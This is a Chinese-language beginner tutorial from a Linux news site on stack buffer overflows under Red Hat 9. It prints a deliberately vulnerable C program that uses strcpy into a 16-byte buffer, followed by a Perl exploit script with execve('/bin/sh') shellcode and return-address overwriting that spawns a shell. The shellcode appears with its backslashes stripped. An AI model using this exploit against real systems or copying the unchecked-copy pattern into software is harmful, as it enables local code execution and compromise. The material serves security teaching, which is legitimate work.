背景:从进入计算机领域已有近八年的时间了,自我感觉在整体轮廓上对各层次都有了一定的了解。但就安全领域来说,却是实实在在的门外汉;然而安全话题却一直引领计算机行业的发展。最近看了不少关于黑客及逆向工程方面的资料,自认有了一定的了解;尤其在学习Xfocus出版的《网络渗透技术》时,发现溢出漏洞的发现和利用原来是这么回事。下面就我所理解的和基于书上所展示的实例,说说Linux环境下的漏洞是怎样的以及是如何利用的。<?xml:namespace prefix = o />
适宜读者:想了解溢出漏洞的小白;熟悉Linux环境下的C编程,熟悉Gcc与Gdb;熟悉Linux下的AT&T汇编;了解Perl
1. 编程环境<?xml:namespace prefix = v />
2. 一个溢出漏洞实例
3. 溢出是如何发生的
4. 如何编写及提取Shellcode
5. 怎样利用溢出漏洞
1. 编程环境 我的测试环境是Red Hat 9.0。当然你也可以使用其他的Linux版本,不过在高版本的Linux环境下可能会有防溢出机制(比如说Ubuntu 7.10);尽管说在这种环境下也许有高人可以做到溢出利用,但这已不属于本文章的范畴。如果你是小白,如果你想一次成功,推荐你先在RH9中测试。
在利用漏洞时使用的是perl脚本;这里并不需要你有太深的perl功底,只要能理解这里使用的几条语句就行了。当然,在你的Red Hat上一定要安装gcc、gdb和perl解释器,这些在安装光盘里都可以找到。
2. 一个溢出漏洞实例 为了在直观上对溢出有个清晰的理解,我们先给出一个非常简单的溢出漏洞实例。首先看一个有溢出漏洞的简单程序vulnerable.c:
#include <stdio.h> #include <string.h>
int main(int argc, char *argv[]) { char buff[16];
strcpy(buff, argv[1]); printf("
%s
", buff); } |
程序中在使用strcpy函数时,因为没有检测字符串的长度而导致当argv[1]串长超过16字节时就会出现缓冲区溢出现象。使用gcc命令将vulnerable.c编译为可执行程序vulnerable,命令为gcc -o vulnerable vulnerable.c,如下图所示:
500)this.width=500;">
为了在本地利用该漏洞,我们需要精心构造
shellcode,下面是用
perl写的利用程序
exploit.pl:
#!/usr/bin/perl # # exploit.pl
$shellcode = "x31xd2x52x68x6ex<?xml:namespace prefix = st1 />2fx73x68x68x2fx2fx62x69". "x89xe3x52x53x89xe1x8dx42x0bxcdx80"; # 这里path需要设为本机环境下vulnerable的路径 $path = "/home/bill/Cracker/vulnerable";
$ret = 0xbffffffc - (length($path)+1) - (length($shellcode)+1);
$new_retword = pack("l",$ret);
printf("[+] Using ret Shellcode 0x%x
", $ret);
%ENV=(); $ENV{CC}=$shellcode;
exec "$path",$new_retword x 8; |
其中,上面提到的两个程序附在附件中(这里需要注意的是
exploit.pl在创建后需要修改属性才能执行)。上面的
shellcode是精心构造过的,在后面的构造
shellcode章节将讲述。
运行
exploit.pl我们将得到一个
shell(
sh-2.05b$):
500)this.width=500;">
如果你能得到控制台(
sh-2.05b$),就代表你已经攻击成功了。下面我们将详细讲述溢出漏洞相关的内容。
阿根廷黑客盯上中国Windows用户 如想安全改用Linux系统三个细节体现Unix系统安全性相关资讯 Linux漏洞
- 敲击28次退格键之后:Linux漏洞可 (12/18/2015 11:22:28)
- Linux出现重大漏洞 GHOST ? (01/30/2015 18:35:07)
- Linux 2.6.31本地代码执行漏洞( (07/07/2014 07:51:17)
| - Red Hat Linux 修补“libuser”库 (07/26/2015 06:39:34)
- 红帽反驳:“Grinch(鬼精灵)”算 (12/30/2014 07:38:23)
- Linux gcc++漏洞:普通用户获得 (08/16/2013 11:57:41)
|
本文评论 查看全部评论 (0)
评论声明- 尊重网上道德,遵守中华人民共和国的各项有关法律法规
- 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
- 本站管理人员有权保留或删除其管辖留言中的任意内容
- 本站有权在网站内转载或引用您的评论
- 参与本评论即表明您已经阅读并接受上述条款
|
|